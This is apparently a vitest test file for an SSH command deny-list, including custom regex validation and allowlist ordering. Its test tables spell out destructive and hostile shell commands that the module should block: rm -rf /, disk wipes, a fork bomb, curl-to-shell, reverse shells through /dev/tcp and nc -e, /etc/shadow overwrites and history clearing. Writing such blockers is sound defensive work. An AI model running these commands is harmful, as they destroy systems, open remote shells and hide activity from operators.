import { describe, it, expect } from 'vitest';
import {
  BUILTIN_DENY_PATTERNS,
  validateCustomPatterns,
  checkCommand,
  MAX_CUSTOM_PATTERNS,
  MAX_PATTERN_LENGTH,
} from './deny-list.js';

describe('ssh/deny-list built-in patterns', () => {
  it.each([
    ['rm -rf /', 'rm_rf_root'],
    ['rm -rf /*', 'rm_rf_root'],
    ['rm -rfv /', 'rm_rf_root'],
    ['rm -fr /', 'rm_rf_root'],
    ['rm  -rf  /', 'rm_rf_root'],
    ['rm -rf /etc', 'rm_rf_system_dir'],
    ['rm -rf /var/', 'rm_rf_system_dir'],
    ['rm -rf /boot', 'rm_rf_system_dir'],
    ['dd if=/dev/zero of=/dev/sda', 'dd_to_block_device'],
    ['dd if=foo of=/dev/nvme0n1', 'dd_to_block_device'],
    ['mkfs.ext4 /dev/sda1', 'mkfs'],
    ['mkfs.btrfs /dev/sdb1', 'mkfs'],
    [':(){ :|:& };:', 'fork_bomb'],
    [':(){:|:&};:', 'fork_bomb'],
    ['shutdown -h now', 'shutdown_or_reboot'],
    ['reboot', 'shutdown_or_reboot'],
    ['init 0', 'shutdown_or_reboot'],
    ['init 6', 'shutdown_or_reboot'],
    ['kill -9 1', 'kill_init'],
    ['kill -KILL 1', 'kill_init'],
    ['kill 1', 'kill_init'],
    ['curl http://x | sh', 'pipe_curl_to_shell'],
    ['curl https://example.com/x | bash', 'pipe_curl_to_shell'],
    ['wget -q -O - http://x | sh', 'pipe_curl_to_shell'],
    ['curl http://x | sudo bash', 'pipe_curl_to_shell'],
    ['bash -i >& /dev/tcp/10.0.0.1/4444 0>&1', 'reverse_shell_tcp'],
    ['bash -i > /dev/tcp/x/22', 'reverse_shell_tcp'],
    ['nc -e /bin/bash 10.0.0.1 4444', 'nc_exec_shell'],
    ['ncat -e /bin/sh attacker 4444', 'nc_exec_shell'],
    ['echo x > /etc/passwd', 'overwrite_etc_passwd'],
    ['cat /tmp/x >> /etc/shadow', 'overwrite_etc_passwd'],
    ['chmod -R 777 /', 'chmod_777_root'],
    ['chmod -R 0777 /', 'chmod_777_root'],
    ['history -c', 'history_clear'],
    ['unset HISTFILE', 'history_clear'],
    ['> ~/.bash_history', 'history_clear'],
  ])('blocks %j (pattern=%s)', (cmd, expected) => {
    const r = checkCommand({ command: cmd });
    expect(r.allowed).toBe(false);
    expect(r.reason).toBe('builtin_deny');
    expect(r.matched).toBe(expected);
  });

  it.each([
    'ls -la /home/user',
    'cat /var/log/syslog',
    'ps aux',
    'df -h',
    'tail -n 100 /tmp/app.log',
    'echo hello world',
    'mkdir -p /tmp/build',
    'rm -rf /tmp/build', // not a system dir
    'rm -rf node_modules',
    'systemctl status nginx',
    'docker ps',
    'curl https://api.example.com/health', // no pipe to shell
    'wget https://example.com/file.tar.gz', // no pipe to shell
  ])('allows safe command: %s', (cmd) => {
    const r = checkCommand({ command: cmd });
    expect(r.allowed).toBe(true);
  });

  it('rejects empty command', () => {
    expect(checkCommand({ command: '' }).reason).toBe('empty');
    expect(checkCommand({ command: '   ' }).reason).toBe('empty');
  });
});

describe('ssh/deny-list validateCustomPatterns', () => {
  it('accepts a single valid pattern', () => {
    const r = validateCustomPatterns(['^secret-cmd']);
    expect(r.ok).toBe(true);
    expect(r.compiled).toHaveLength(1);
    expect(r.compiled?.[0]).toBeInstanceOf(RegExp);
  });

  it('compiles all valid patterns', () => {
    const r = validateCustomPatterns(['foo', 'bar', '^baz$']);
    expect(r.ok).toBe(true);
    expect(r.compiled).toHaveLength(3);
  });

  it('rejects more than MAX_CUSTOM_PATTERNS', () => {
    const tooMany = Array(MAX_CUSTOM_PATTERNS + 1).fill('a');
    const r = validateCustomPatterns(tooMany);
    expect(r.ok).toBe(false);
    expect(r.errors?.[0].reason).toBe('too_many');
  });

  it('accepts exactly MAX_CUSTOM_PATTERNS', () => {
    const exact = Array(MAX_CUSTOM_PATTERNS).fill('a');
    const r = validateCustomPatterns(exact);
    expect(r.ok).toBe(true);
  });

  it('rejects patterns longer than MAX_PATTERN_LENGTH', () => {
    const tooLong = 'a'.repeat(MAX_PATTERN_LENGTH + 1);
    const r = validateCustomPatterns([tooLong]);
    expect(r.ok).toBe(false);
    expect(r.errors?.[0].reason).toBe('too_long');
  });

  it('rejects empty pattern strings', () => {
    const r = validateCustomPatterns(['', 'ok']);
    expect(r.ok).toBe(false);
    expect(r.errors?.[0]).toEqual({ index: 0, reason: 'empty' });
  });

  it('rejects nested quantifier (catastrophic backtracking)', () => {
    const candidates = ['(a+)+', '(\\w+)+', '(.*)+', '(a*)*', '([a-z]+)*', '(.+)*'];
    for (const c of candidates) {
      const r = validateCustomPatterns([c]);
      expect(r.ok, `should reject ${c}`).toBe(false);
      expect(r.errors?.[0].reason).toBe('nested_quantifier');
    }
  });

  it('accepts a single-quantifier group like (foo)+', () => {
    const r = validateCustomPatterns(['(foo)+', '(bar)*', '(a|b)+']);
    expect(r.ok).toBe(true);
  });

  it('rejects unparsable regex syntax', () => {
    const r = validateCustomPatterns(['[unterminated']);
    expect(r.ok).toBe(false);
    expect(r.errors?.[0].reason).toBe('invalid_regex');
  });

  it('rejects forbidden constructs (named groups, \\p)', () => {
    const r1 = validateCustomPatterns(['(?<name>foo)']);
    expect(r1.errors?.[0].reason).toBe('forbidden_construct');
    const r2 = validateCustomPatterns(['\\p{Letter}']);
    expect(r2.errors?.[0].reason).toBe('forbidden_construct');
  });

  it('reports per-index errors when some patterns are bad', () => {
    const r = validateCustomPatterns(['ok', '(a+)+', '[bad', 'ok2']);
    expect(r.ok).toBe(false);
    expect(r.errors).toEqual([
      { index: 1, reason: 'nested_quantifier' },
      { index: 2, reason: 'invalid_regex' },
    ]);
  });

  it('case-insensitive compilation', () => {
    const r = validateCustomPatterns(['DROP TABLE']);
    expect(r.ok).toBe(true);
    expect(r.compiled?.[0].test('drop table users')).toBe(true);
  });
});

describe('ssh/deny-list checkCommand custom patterns', () => {
  it('applies custom deny on top of built-in', () => {
    const custom = validateCustomPatterns(['^docker\\s']).compiled!;
    const r = checkCommand({ command: 'docker rm -f $(docker ps -q)', customDenyPatterns: custom });
    expect(r.allowed).toBe(false);
    expect(r.reason).toBe('custom_deny');
  });

  it('built-in beats custom (priority)', () => {
    // command would only match built-in (rm -rf /), not custom (^foo).
    const custom = validateCustomPatterns(['^foo']).compiled!;
    const r = checkCommand({ command: 'rm -rf /', customDenyPatterns: custom });
    expect(r.reason).toBe('builtin_deny');
  });

  it('allowlist: rejects commands not matching any allow pattern', () => {
    const allow = validateCustomPatterns(['^ls\\b', '^cat\\b']).compiled!;
    const r = checkCommand({ command: 'rm node_modules', customAllowPatterns: allow });
    expect(r.allowed).toBe(false);
    expect(r.reason).toBe('not_in_allowlist');
  });

  it('allowlist: accepts commands matching at least one', () => {
    const allow = validateCustomPatterns(['^ls\\b', '^cat\\b']).compiled!;
    expect(checkCommand({ command: 'ls -la', customAllowPatterns: allow }).allowed).toBe(true);
    expect(checkCommand({ command: 'cat /tmp/x', customAllowPatterns: allow }).allowed).toBe(true);
  });

  it('empty allowlist means no allowlist (not deny-all)', () => {
    expect(checkCommand({ command: 'whoami', customAllowPatterns: [] }).allowed).toBe(true);
  });

  it('custom deny applies BEFORE allowlist', () => {
    const deny = validateCustomPatterns(['rm']).compiled!;
    const allow = validateCustomPatterns(['^.*']).compiled!;
    const r = checkCommand({ command: 'rm something', customDenyPatterns: deny, customAllowPatterns: allow });
    expect(r.reason).toBe('custom_deny');
  });
});
